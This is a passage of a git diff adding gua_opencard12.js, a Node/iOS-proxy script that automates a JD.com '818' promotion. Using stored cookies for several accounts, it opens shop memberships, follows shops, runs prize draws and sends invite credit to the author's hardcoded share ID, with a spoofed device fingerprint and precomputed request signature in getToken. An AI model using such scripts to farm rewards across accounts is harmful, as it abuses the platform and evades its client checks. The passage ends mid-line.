r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard12.js b/backUp/gua_opencard12.js new file mode 100644 index 0000000..b8a2d16 --- /dev/null +++ b/backUp/gua_opencard12.js @@ -0,0 +1,736 @@ +/* +8.18-8.25 全民818 一“促”即发 [gua_opencard12.js] +新增开卡脚本 +一次性脚本 + +邀请一人20豆 被邀请也有20豆(有可能没有豆 +开2组卡 抽奖可能获得30京豆(有可能有抽到空气💨 +关注10京豆 (有可能是空气💨 +加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku12]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard12="true" +———————————————— +入口:[8.18-8.25 全民818 一“促”即发 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=02d54511202b4d1781088b66b9e07b9c&shareUuid=c0bcf5c57dcc4446aab0f0fe111f6497)] +============Quantumultx=============== +[task_local] +#8.18-8.25 全民818 一“促”即发 +30 9,21 18-25 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard12.js, tag=8.18-8.25 全民818 一“促”即发, enabled=true + +================Loon============== +[Script] +cron "30 9,21 18-25 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard12.js,tag=8.18-8.25 全民818 一“促”即发 + +===============Surge================= +8.18-8.25 全民818 一“促”即发 = type=cron,cronexp="30 9,21 18-25 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard12.js + +============小火箭========= +8.18-8.25 全民818 一“促”即发 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard12.js, cronexpr="30 9,21 18-25 8 *", timeout=3600, enable=true +*/ +const $ = new Env('8.18-8.25 全民818 一“促”即发'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let activityCookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = false +guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku12 ? process.env.guaopencard_addSku12 : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku12') ? $.getdata('guaopencard_addSku12') : `${guaopencard_addSku}`); +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if (!process.env.guaopencard12 || process.env.guaopencard12 == "false") { + console.log('如需执行脚本请设置环境变量[guaopencard12]为"true"') + return + } + } + $.shareUuid = 'c0bcf5c57dcc4446aab0f0fe111f6497' + $.activityId = '02d54511202b4d1781088b66b9e07b9c' + console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + getUA() + console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await run(); + if(i == 0 && !$.actorUuid) return + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + $.Token = '' + $.Pin = '' + await getCk() + await getToken(); + if($.Token == ''){ + console.log('获取[token]失败!') + return + } + await getSimpleActInfoVo() + $.nickname = ''; + await getMyPing() + if ($.Pin ==="" || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { + $.log("获取活动信息失败!") + return + } + await accessLogWithAD() + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + await getUserInfo(); + $.actorUuid = ''; + await getActorUuid(); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + return + } + await drawContent(); + await $.wait(1000) + let checkOpenCardData = await checkOpenCard(); + if (checkOpenCardData && !checkOpenCardData.allOpenCard) { + let flag = true + for (let cardList1Element of checkOpenCardData.cardList1) { + if(cardList1Element.status == 0){ + if(flag) console.log('组1') + if(flag) flag = false + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + flag = true + for (let cardList1Element of checkOpenCardData.cardList2) { + if(cardList1Element.status == 0){ + if(flag) console.log('组2') + if(flag) flag = false + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + await $.wait(1000) + await drawContent(); + checkOpenCardData = await checkOpenCard(); + await $.wait(1000) + } + if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) + if(checkOpenCardData && checkOpenCardData.score2 == 1) await startDraw(2) + $.log("关注: " + $.followShop) + if(!$.followShop) await followShop(); + if(!$.followShop) await $.wait(1000) + $.log("加购: " + $.addSku) + if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku12]为"true"'); + if(!$.addSku && guaopencard_addSku == "true") await addSku(); + if(!$.addSku && guaopencard_addSku == "true") await $.wait(1000) + await getActorUuid() + await $.wait(1000) + await getDrawRecordHasCoupon() + await $.wait(1000) + await getShareRecord() + $.log($.shareUuid) + if ($.index === 1) { + if($.actorUuid){ + $.shareUuid = $.actorUuid; + console.log(`后面的号都会助力:${$.shareUuid}`) + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + }catch(e){ + console.log(e) + } +} +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + console.log(`我的奖品:`) + let num = 0 + let value = 0 + for(let i in res.data){ + let item = res.data[i] + if(item.value == '邀请好友') num++; + if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); + if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) + } + if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 20}京豆`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`我的奖品 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getShareRecord() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + $.log(`=========== 你邀请了:${res.data.length}个`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function addSku() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=2&taskValue=100022610206` + $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = '' + if(res.data.addBeanNum){ + msg = `${res.data.addBeanNum}京豆` + } + console.log(`加购获得:${ msg || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`加购 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function followShop() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=1000376745` + $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = '' + if(res.data.addBeanNum){ + msg = `${res.data.addBeanNum}京豆` + } + if(res.data.beanNumMember && res.data.assistSendStatus){ + msg += ` 额外获得:${res.data.beanNumMember}京豆` + } + console.log(`关注获得:${ msg || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`关注 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + // console.log($.toStr(data.result)) + // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.success === true){ + console.log(res.message) + if(res.result && res.result.giftInfo){ + for(let i of res.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(typeof res == 'object' && res.message){ + console.log(`${res.message || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function startDraw(type) { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&type=${type}` + $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // $.log($.toStr(data)) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + console.log(`抽奖获得:${res.data.drawOk && res.data.name || '空气💨'}`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`抽奖 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res !== 'object'){ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res && res.data || ''); + } + }) + }) +} + + +function drawContent() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/drawContent',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getActorUuid() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/dz/openCard/activityContent',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus + if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus + if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`activityContent ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.Pin)}` + $.post(taskPostUrl('/wxActionCommon/getUserInfo',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getUserInfo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function accessLogWithAD() { + return new Promise(resolve => { + let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + let body = `venderId=${$.shopId || $.venderId}&code=99&pin=${encodeURIComponent($.Pin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null` + $.post(taskPostUrl('/common/accessLogWithAD',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getMyPing() { + return new Promise(resolve => { + let body = `userId=${$.shopId || $.venderId}&token=${$.Token}&fromType=APP` + $.post(taskPostUrl('/customer/getMyPing',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data) + if(typeof res == 'object' && res.result == true){ + if(res.data && typeof res.data.secretPin != 'undefined') $.Pin = res.data.secretPin + if(res.data && typeof res.data.nickname != 'undefined') $.nickname = res.data.nickname + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getMyPing ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getSimpleActInfoVo() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}` + $.post(taskPostUrl('/dz/common/getSimpleActInfoVo',body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId + if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'Content-Type':'application/x-www-form-urlencoded', + 'Cookie': cookie, + 'Host':'api.m.jd.com', + 'User-Agent': $.UA, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data) + if(typeof res == 'object' && res.errcode == 0){ + if(typeof res.token != 'undefined') $.Token = res.token + }else if(typeof res == 'object' && res.message){ + console.log(`isvObfuscator ${res.message || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getCk() { + return new Promise(resolve => { + let get = { + url:`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + headers: { + "Cookie": cookie, + "User-Agent": $.UA, + } + } + $.get(get, async(err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} cookie API请求失败,请检查网路重试`) + } else { + let LZ_TOKEN_KEY = '' + let LZ_TOKEN_VALUE = '' + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + for (let ck of setcookie) { + let name = ck.split(";")[0].trim() + if(name.split("=")[1]){ + if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' + if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' + } + } + } + if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(url, body) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Accept": "application/json", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": 